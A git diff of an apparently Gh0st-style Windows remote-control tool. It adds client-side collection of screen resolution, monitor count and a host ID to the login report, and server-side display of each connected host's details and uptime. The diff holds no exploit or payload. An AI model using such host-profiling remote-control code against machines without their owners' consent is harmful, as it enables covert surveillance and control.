diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 69f4893..548f441 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -9,6 +9,7 @@ #include "common/skCrypter.h" #include #include +#include "ScreenCapture.h" // by ChatGPT bool IsWindows11() @@ -376,7 +377,15 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne char cpuInfo[32]; sprintf(cpuInfo, "%dMHz", dwCPUMHz); conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf }); - Mprintf("此客户端的唯一标识为: %s\n", std::to_string(conn.clientID).c_str()); + auto clientID = std::to_string(conn.clientID); + Mprintf("此客户端的唯一标识为: %s\n", clientID.c_str()); + char reservedInfo[64]; + int m_iScreenX = GetSystemMetrics(SM_CXVIRTUALSCREEN); + int m_iScreenY = GetSystemMetrics(SM_CYVIRTUALSCREEN); + auto list = ScreenCapture::GetAllMonitors(); + sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY); + LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率 + LoginInfor.AddReserved(clientID.c_str()); // 客户端路径 return LoginInfor; } diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index 1f11318..2758351 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -103,7 +103,8 @@ private: } return TRUE; } - std::vector GetAllMonitors() +public: + static std::vector GetAllMonitors() { std::vector monitors; EnumDisplayMonitors(nullptr, nullptr, MonitorEnumProc, (LPARAM)&monitors); diff --git a/common/commands.h b/common/commands.h index 2d33f99..6123fb8 100644 --- a/common/commands.h +++ b/common/commands.h @@ -792,6 +792,8 @@ enum LOGIN_RES { RES_EXE_VERSION = 12, // EXE版本 RES_USERNAME = 13, // 电脑用户名称 RES_ISADMIN = 14, // 是否具有管理员权限 + RES_RESOLUTION = 15, // 屏幕分辨率 + RES_CLIENT_ID = 16, // 客户端唯一ID RES_MAX, }; diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 36782b4..892c253 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -790,6 +790,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), }; auto id = CONTEXT_OBJECT::CalculateID(data); + if (std::to_string(id) != v[RES_CLIENT_ID]) { + Mprintf("上线消息 - 主机ID错误: calc=%llu, recv=%s, IP=%s, Path=%s\n", + id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString()); + } bool modify = false; CString loc = GetClientMapData(id, MAP_LOCATION); if (loc.IsEmpty()) { @@ -1590,13 +1594,26 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) } -void CMy2015RemoteDlg::DeletePopupWindow() +void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce) { - if (m_pFloatingTip) { - if (::IsWindow(m_pFloatingTip->GetSafeHwnd())) - m_pFloatingTip->DestroyWindow(); - SAFE_DELETE(m_pFloatingTip); + if (!m_pFloatingTip) + return; + + if (!bForce && ::IsWindow(m_pFloatingTip->GetSafeHwnd())) + { + CPoint pt; + GetCursorPos(&pt); + CRect rc; + m_pFloatingTip->GetWindowRect(&rc); + + if (rc.PtInRect(pt)) + return; // 鼠标还在窗口上,继续等待 } + + if (::IsWindow(m_pFloatingTip->GetSafeHwnd())) + m_pFloatingTip->DestroyWindow(); + + SAFE_DELETE(m_pFloatingTip); KillTimer(TIMER_CLOSEWND); } @@ -1612,7 +1629,7 @@ void CMy2015RemoteDlg::Release() { Mprintf("======> Release\n"); UninitFileUpload(); - DeletePopupWindow(); + DeletePopupWindow(TRUE); isClosed = TRUE; m_frpStatus = STATUS_EXIT; ShowWindow(SW_HIDE); @@ -3009,7 +3026,7 @@ BOOL CMy2015RemoteDlg::PreTranslateMessage(MSG* pMsg) CRect tipRect; ::GetWindowRect(hTipWnd, &tipRect); if (!tipRect.PtInRect(pt)) { - DeletePopupWindow(); + DeletePopupWindow(TRUE); } } } @@ -3538,6 +3555,40 @@ void CMy2015RemoteDlg::OnOnlineAuthorize() SendSelectedCommand(bToken, sizeof(bToken)); } +CString FormatValue(double dValue, LPCTSTR szUnit) +{ + CString str; + if (dValue == (int)dValue) + str.Format(_T("%d%s"), (int)dValue, szUnit); + else + str.Format(_T("%.1f%s"), dValue, szUnit); + return str; +} + +CString GetElapsedTime(LPCTSTR szBaseTime) +{ + int nYear, nMonth, nDay, nHour, nMin, nSec; + if (_stscanf_s(szBaseTime, _T("%d-%d-%d %d:%d:%d"), + &nYear, &nMonth, &nDay, &nHour, &nMin, &nSec) != 6) + { + return _T("0s"); + } + + CTime tmBase(nYear, nMonth, nDay, nHour, nMin, nSec); + CTime tmNow = CTime::GetCurrentTime(); + __int64 nSeconds = (tmNow - tmBase).GetTotalSeconds(); + if (nSeconds < 0) nSeconds = -nSeconds; + + if (nSeconds < 60) + return FormatValue((double)nSeconds, _T("s")); + else if (nSeconds < 3600) + return FormatValue(nSeconds / 60.0, _T("m")); + else if (nSeconds < 86400) + return FormatValue(nSeconds / 3600.0, _T("h")); + else + return FormatValue(nSeconds / 86400.0, _T("d")); +} + void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) { LPNMITEMACTIVATE pNMItem = (LPNMITEMACTIVATE)pNMHDR; @@ -3558,24 +3609,24 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) CString strText; std::string expired = res[RES_EXPIRED_DATE]; expired = expired.empty() ? "" : " Expired on " + expired; - strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB\r\n启动信息: %s %s %s%s\r\n上线信息: %s %d %s"), + strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s\r\n客户信息: %s"), res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION], - res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], startTime, expired.c_str(), - res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]", - ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str()); + res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(), + res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]", GetElapsedTime(startTime), + ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]); // 获取鼠标位置 CPoint pt; GetCursorPos(&pt); // 清理旧提示 - DeletePopupWindow(); + DeletePopupWindow(TRUE); // 创建提示窗口 m_pFloatingTip = new CWnd(); int width = res[RES_FILE_PATH].GetLength() * 10 + 36; width = min(max(width, 360), 800); - CRect rect(pt.x, pt.y, pt.x + width, pt.y + 80); // 宽度、高度 + CRect rect(pt.x, pt.y, pt.x + width, pt.y + 100); // 宽度、高度 BOOL bOk = m_pFloatingTip->CreateEx( WS_EX_TOPMOST | WS_EX_TOOLWINDOW | WS_EX_NOACTIVATE, diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index aa567cf..c11afb8 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -255,7 +255,7 @@ public: std::set m_GroupList; std::string m_selectedGroup; void LoadListData(const std::string& group); - void DeletePopupWindow(); + void DeletePopupWindow(BOOL bForce = FALSE); context* FindHost(context* ctx); context* FindHost(int port); context* FindHost(uint64_t port);